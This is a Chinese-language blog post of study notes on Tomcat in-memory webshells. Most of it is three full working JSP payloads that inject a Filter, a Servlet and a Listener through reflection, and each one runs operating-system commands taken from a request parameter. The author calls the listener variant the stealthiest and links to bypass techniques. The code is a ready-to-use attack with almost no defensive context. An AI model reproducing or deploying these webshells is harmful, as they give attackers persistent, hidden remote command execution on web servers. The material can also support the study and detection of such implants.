看了雷石的內存馬深入淺出,就心血來潮看了看,由於本人java賊菜就不介紹原理了,本文有關知識都貼鏈接吧
前置知識
本次主要看的是tomcat的內存馬,所以前置知識有下列
1.tomcat結構,tomcat和idea聯動創建java_web
2.jsp簡單語法結構
3.servlet基礎
這些百度就行,不貼鏈接了,下面貼鏈接的都是,不容易百度到,或者知識體系和描述不一致的
內存馬基礎知識
1.內存馬能夠存在的三種形式:
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect
2.filter型內存馬實現流程
https://mp.weixin.qq.com/s/hev4G1FivLtqKjt0VhHKmw
<%@ page import="org.apache.catalina.core.ApplicationContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.util.Map" %> <%@ page import="java.io.IOException" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> <%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> <%@ page import="java.lang.reflect.Constructor" %> <%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> <%@ page import="org.apache.catalina.Context" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <% final String name = "fengxuan"; ServletContext servletContext = request.getSession().getServletContext(); Field appctx = servletContext.getClass().getDeclaredField("context"); appctx.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext); Field stdctx = applicationContext.getClass().getDeclaredField("context"); stdctx.setAccessible(true); StandardContext standardContext = (StandardContext) stdctx.get(applicationContext); Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); Configs.setAccessible(true); Map filterConfigs = (Map) Configs.get(standardContext); if (filterConfigs.get(name) == null){ Filter filter = new Filter() { @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { //這里寫上我們后門的主要代碼 HttpServletRequest req = (HttpServletRequest) servletRequest; if (req.getParameter("cmd") != null){ /*這是linux的,我主要用的windows的 byte[] bytes = new byte[1024]; Process process = new ProcessBuilder("bash","-c",req.getParameter("cmd")).start(); int len = process.getInputStream().read(bytes); servletResponse.getWriter().write(new String(bytes,0,len)); process.destroy(); return; */ String command = req.getParameter("cmd"); //System.out.println(Arrays.toString(command)); InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; servletResponse.getWriter().write(output); servletResponse.getWriter().flush(); return; } //別忘記帶這個,不然的話其他的過濾器可能無法使用 filterChain.doFilter(servletRequest,servletResponse); } @Override public void destroy() { } }; FilterDef filterDef = new FilterDef(); filterDef.setFilter(filter); filterDef.setFilterName(name); filterDef.setFilterClass(filter.getClass().getName()); // 將filterDef添加到filterDefs中 standardContext.addFilterDef(filterDef); FilterMap filterMap = new FilterMap(); //攔截的路由規則,/* 表示攔截任意路由 filterMap.addURLPattern("/*"); filterMap.setFilterName(name); filterMap.setDispatcher(DispatcherType.REQUEST.name()); standardContext.addFilterMapBefore(filterMap); Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef); filterConfigs.put(name,filterConfig); out.print("注入成功"); } %>
3.servlet內存馬實現流程
原理這個講的比較好:https://blog.csdn.net/angry_program/article/details/118492214
但是不得不說這里真的坑,我到寫這篇記錄都沒搞定idea調試tomcat源碼的操作
所以直接給大家源碼吧
<%@ page import="java.io.IOException" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.io.PrintWriter" %> <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%! public static class servletTest extends HttpServlet { @Override public void doGet(HttpServletRequest httpRequest, HttpServletResponse httpResponse) throws ServletException, IOException { System.out.println("doGet被調用"); //servletResponse.getOutputStream().write("doGet被調用".getBytes()); if (httpRequest.getParameter("c") != null) { System.out.println("eval"); //String[] command = new String[]{"sh", "-c", request.getParameter("c")}; String command = httpRequest.getParameter("c"); //System.out.println(Arrays.toString(command)); InputStream inputStream = Runtime.getRuntime().exec(command).getInputStream(); Scanner scanner = new Scanner(inputStream).useDelimiter("\\a"); String output = scanner.hasNext() ? scanner.next() : ""; httpResponse.getOutputStream().write(output.getBytes()); httpResponse.getOutputStream().flush(); //servletResponse.getWriter().write(output); //servletResponse.getWriter().flush(); } } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("doPost被調用"); doGet(req, resp); } @Override public void init() throws ServletException { System.out.println("servlet demo init!"); } } %> <% servletTest servlet=new servletTest(); // 一個小路徑快速獲得StandardContext,這兩種都行,這個常用一點,不過我一直沒找到request引的哪個包,坑!!! // Field reqF = request.getClass().getDeclaredField("request"); // reqF.setAccessible(true); // Request req = (Request) reqF.get(request); // StandardContext stdcontext = (StandardContext) req.getContext(); // 獲取StandardContext org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext stdcontext = (StandardContext)webappClassLoaderBase.getResources().getContext(); org.apache.catalina.Wrapper newWrapper = stdcontext.createWrapper(); String name = servlet.getClass().getSimpleName(); newWrapper.setName(name); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // url綁定 stdcontext.addChild(newWrapper); stdcontext.addServletMappingDecoded("/servlet", name); System.out.print("注入成功"); %>
3.listener型內存馬(非常推薦):
<%@ page import="org.apache.catalina.core.StandardContext" %> <%@ page import="java.lang.reflect.Field" %> <%@ page import="org.apache.catalina.connector.Request" %> <%@ page import="java.io.InputStream" %> <%@ page import="java.util.Scanner" %> <%@ page import="java.io.IOException" %> <%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%! public class listenerDemo implements ServletRequestListener{ @Override public void requestDestroyed(ServletRequestEvent sre){ System.out.println("linstener Destroyed!"); } @Override public void requestInitialized(ServletRequestEvent sre){ System.out.println("linstener Initialized!"); String command = sre.getServletRequest().getParameter("fuck"); try { Runtime.getRuntime().exec(command); } catch (IOException e) { e.printStackTrace(); } } } %> <% // 一個小路徑快速獲得StandardContext Field reqF = request.getClass().getDeclaredField("request"); reqF.setAccessible(true); Request req = (Request) reqF.get(request); StandardContext context = (StandardContext) req.getContext(); listenerDemo listenerdemo = new listenerDemo(); context.addApplicationEventListener(listenerdemo); %>
這個listener的形式優先級最高,代碼量最小,而且由於servrlet的特性,每次都會銷毀實例,隱蔽性更高一點點
繞過方式
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect
“降維打擊篇”以后部分,寫得非常好。
剩余問題
1.tomcat源碼在idea調試咋弄,有會的告我一下,跪求
2.其它容器中內存馬實現方式
3.反序列化實現真正的無文件形式內存馬:http://wjlshare.com/archives/1541